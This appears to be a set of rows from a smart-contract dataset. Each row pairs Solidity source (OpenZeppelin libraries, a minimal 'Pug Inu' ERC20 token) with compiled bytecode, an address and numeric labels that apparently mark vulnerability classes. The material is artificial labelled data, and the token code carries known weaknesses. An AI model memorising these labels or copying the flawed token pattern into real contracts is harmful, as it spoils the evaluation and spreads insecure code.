_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
| 0x608060405234801561001057600080fd5b506004361061007f576000357c01000000000000000000000000000000000000000000000000000000009004806313151981146100845780631f284f5a146100a25780634e71d92d146100be57806396132521146100c8578063ad7a672f146100e6578063af38d75714610104575b600080fd5b61008c610122565b6040516100999190610ad3565b60405180910390f35b6100bc60048036038101906100b7919061093d565b61014c565b005b6100c661023b565b005b6100d06102ff565b6040516100dd9190610b99565b60405180910390f35b6100ee610309565b6040516100fb9190610b99565b60405180910390f35b61010c6103e9565b6040516101199190610b99565b60405180910390f35b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146101a657600080fd5b600060149054906101000a900460ff16156101c057600080fd5b600081116101cd57600080fd5b81600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555042600281905550806003819055506001600060146101000a81548160ff0219169083151502179055505050565b600060149054906101000a900460ff1661025457600080fd5b61025c610563565b600254111561026a57600080fd5b60006102746103e9565b90506102e3600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168260008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661056b9092919063ffffffff16565b80600460008282546102f59190610be6565b9250508190555050565b6000600454905090565b60006103e460045460008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004016103869190610ad3565b60206040518083038186803b15801561039e57600080fd5b505afa1580156103b2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103d691906109a2565b61060d90919063ffffffff16565b905090565b60008060025414156103fe5760009050610560565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004016104769190610ad3565b60206040518083038186803b15801561048e57600080fd5b505afa1580156104a2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104c691906109a2565b14156104d55760009050610560565b60006105086228206f6104fa6002546104ec610563565b61062390919063ffffffff16565b61063990919063ffffffff16565b905060035481111561051a5760035490505b61055c60045461054e60035461054085610532610309565b61064f90919063ffffffff16565b61063990919063ffffffff16565b61062390919063ffffffff16565b9150505b90565b600042905090565b6106088363a9059cbb7c01000000000000000000000000000000000000000000000000000000000284846040516024016105a6929190610aee565b604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050610665565b505050565b6000818361061b9190610be6565b905092915050565b600081836106319190610cc7565b905092915050565b600081836106479190610c3c565b905092915050565b6000818361065d9190610c6d565b905092915050565b60006106c7826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c65648152508573ffffffffffffffffffffffffffffffffffffffff1661072c9092919063ffffffff16565b905060008151111561072757808060200190518101906106e79190610979565b610726576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161071d90610b79565b60405180910390fd5b5b505050565b606061073b8484600085610744565b90509392505050565b6060823073ffffffffffffffffffffffffffffffffffffffff163110156107a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079790610b39565b60405180910390fd5b6107a98561086f565b6107e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107df90610b59565b60405180910390fd5b6000808673ffffffffffffffffffffffffffffffffffffffff1685876040516108119190610abc565b60006040518083038185875af1925050503d806000811461084e576040519150601f19603f3d011682016040523d82523d6000602084013e610853565b606091505b5091509150610863828286610882565b92505050949350505050565b600080823b905060008111915050919050565b60608315610892578290506108e2565b6000835111156108a55782518084602001fd5b816040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108d99190610b17565b60405180910390fd5b9392505050565b6000813590506108f881610eac565b92915050565b60008151905061090d81610ec3565b92915050565b60008135905061092281610eda565b92915050565b60008151905061093781610eda565b92915050565b6000806040838503121561095057600080fd5b600061095e858286016108e9565b925050602061096f85828601610913565b9150509250929050565b60006020828403121561098b57600080fd5b6000610999848285016108fe565b91505092915050565b6000602082840312156109b457600080fd5b60006109c284828501610928565b91505092915050565b6109d481610cfb565b82525050565b60006109e582610bb4565b6109ef8185610bca565b93506109ff818560208601610d43565b80840191505092915050565b6000610a1682610bbf565b610a208185610bd5565b9350610a30818560208601610d43565b610a3981610dd4565b840191505092915050565b6000610a51602683610bd5565b9150610a5c82610de5565b604082019050919050565b6000610a74601d83610bd5565b9150610a7f82610e34565b602082019050919050565b6000610a97602a83610bd5565b9150610aa282610e5d565b604082019050919050565b610ab681610d39565b82525050565b6000610ac882846109da565b915081905092915050565b6000602082019050610ae860008301846109cb565b92915050565b6000604082019050610b0360008301856109cb565b610b106020830184610aad565b9392505050565b60006020820190508181036000830152610b318184610a0b565b905092915050565b60006020820190508181036000830152610b5281610a44565b9050919050565b60006020820190508181036000830152610b7281610a67565b9050919050565b60006020820190508181036000830152610b9281610a8a565b9050919050565b6000602082019050610bae6000830184610aad565b92915050565b600081519050919050565b600081519050919050565b600081905092915050565b600082825260208201905092915050565b6000610bf182610d39565b9150610bfc83610d39565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115610c3157610c30610d76565b5b828201905092915050565b6000610c4782610d39565b9150610c5283610d39565b925082610c6257610c61610da5565b5b828204905092915050565b6000610c7882610d39565b9150610c8383610d39565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615610cbc57610cbb610d76565b5b828202905092915050565b6000610cd282610d39565b9150610cdd83610d39565b925082821015610cf057610cef610d76565b5b828203905092915050565b6000610d0682610d19565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b60005b83811015610d61578082015181840152602081019050610d46565b83811115610d70576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f416464726573733a20696e73756666696369656e742062616c616e636520666f60008201527f722063616c6c0000000000000000000000000000000000000000000000000000602082015250565b7f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000600082015250565b7f5361666545524332303a204552433230206f7065726174696f6e20646964206e60008201527f6f74207375636365656400000000000000000000000000000000000000000000602082015250565b610eb581610cfb565b8114610ec057600080fd5b50565b610ecc81610d0d565b8114610ed757600080fd5b50565b610ee381610d39565b8114610eee57600080fd5b5056fea2646970667358221220c4a701a0b1620c2bae6f9166a3dbb4d254a696a633ae2b55d0aae4c57f77636564736f6c63430008040033 | [
4,
9,
7
] |
0xf335852372e401d78c238d4c978f5d8e889538a6 | // SPDX-License-Identifier: Unlicensed
/*
Website: https://pug-inu.dog
*/
pragma solidity ^0.5.0;
contract ERC20Interface {
function totalSupply() public view returns (uint);
function balanceOf(address tokenOwner) public view returns (uint balance);
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Safe Math Library
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0);
c = a / b;
}
}
contract PugInu is ERC20Interface, SafeMath {
string public name;
string public symbol;
uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it
uint256 public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
constructor() public {
name = "Pug Inu";
symbol = "PUGINU";
decimals = 18;
_totalSupply = 1 * 10**11 * 10**18;
balances[msg.sender] = 1 * 10**11 * 10**18;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function totalSupply() public view returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
} | 0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c806395d89b411161008c578063b5931f7c11610066578063b5931f7c1461044b578063d05c78da14610497578063dd62ed3e146104e3578063e6cb90131461055b576100ea565b806395d89b4114610316578063a293d1e814610399578063a9059cbb146103e5576100ea565b806323b872dd116100c857806323b872dd146101f6578063313ce5671461027c5780633eaaf86b146102a057806370a08231146102be576100ea565b806306fdde03146100ef578063095ea7b31461017257806318160ddd146101d8575b600080fd5b6100f76105a7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561013757808201518184015260208101905061011c565b50505050905090810190601f1680156101645780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101be6004803603604081101561018857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610645565b604051808215151515815260200191505060405180910390f35b6101e0610737565b6040518082815260200191505060405180910390f35b6102626004803603606081101561020c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610782565b604051808215151515815260200191505060405180910390f35b610284610a12565b604051808260ff1660ff16815260200191505060405180910390f35b6102a8610a25565b6040518082815260200191505060405180910390f35b610300600480360360208110156102d457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a2b565b6040518082815260200191505060405180910390f35b61031e610a74565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561035e578082015181840152602081019050610343565b50505050905090810190601f16801561038b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103cf600480360360408110156103af57600080fd5b810190808035906020019092919080359060200190929190505050610b12565b6040518082815260200191505060405180910390f35b610431600480360360408110156103fb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b2c565b604051808215151515815260200191505060405180910390f35b6104816004803603604081101561046157600080fd5b810190808035906020019092919080359060200190929190505050610cb5565b6040518082815260200191505060405180910390f35b6104cd600480360360408110156104ad57600080fd5b810190808035906020019092919080359060200190929190505050610cd5565b6040518082815260200191505060405180910390f35b610545600480360360408110156104f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d02565b6040518082815260200191505060405180910390f35b6105916004803603604081101561057157600080fd5b810190808035906020019092919080359060200190929190505050610d89565b6040518082815260200191505060405180910390f35b60008054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561063d5780601f106106125761010080835404028352916020019161063d565b820191906000526020600020905b81548152906001019060200180831161062057829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600460008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460035403905090565b60006107cd600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610b12565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610896600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610b12565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061095f600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610d89565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600260009054906101000a900460ff1681565b60035481565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b0a5780601f10610adf57610100808354040283529160200191610b0a565b820191906000526020600020905b815481529060010190602001808311610aed57829003601f168201915b505050505081565b600082821115610b2157600080fd5b818303905092915050565b6000610b77600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610b12565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c03600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610d89565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000808211610cc357600080fd5b818381610ccc57fe5b04905092915050565b600081830290506000831480610cf3575081838281610cf057fe5b04145b610cfc57600080fd5b92915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000818301905082811015610d9d57600080fd5b9291505056fea265627a7a72315820f262cf09353ec8654064868c57e83ee2cb7019c6951210c5c80577a38b185ec864736f6c63430005110032 | [
38
] |
0xf336F4620c20416D9Def439EE98bbf8557623b01 | // SPDX-License-Identifier: MIT
// solhint-disable-next-line compiler-version
pragma solidity ^0.8.0;
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(_initializing || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor () {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
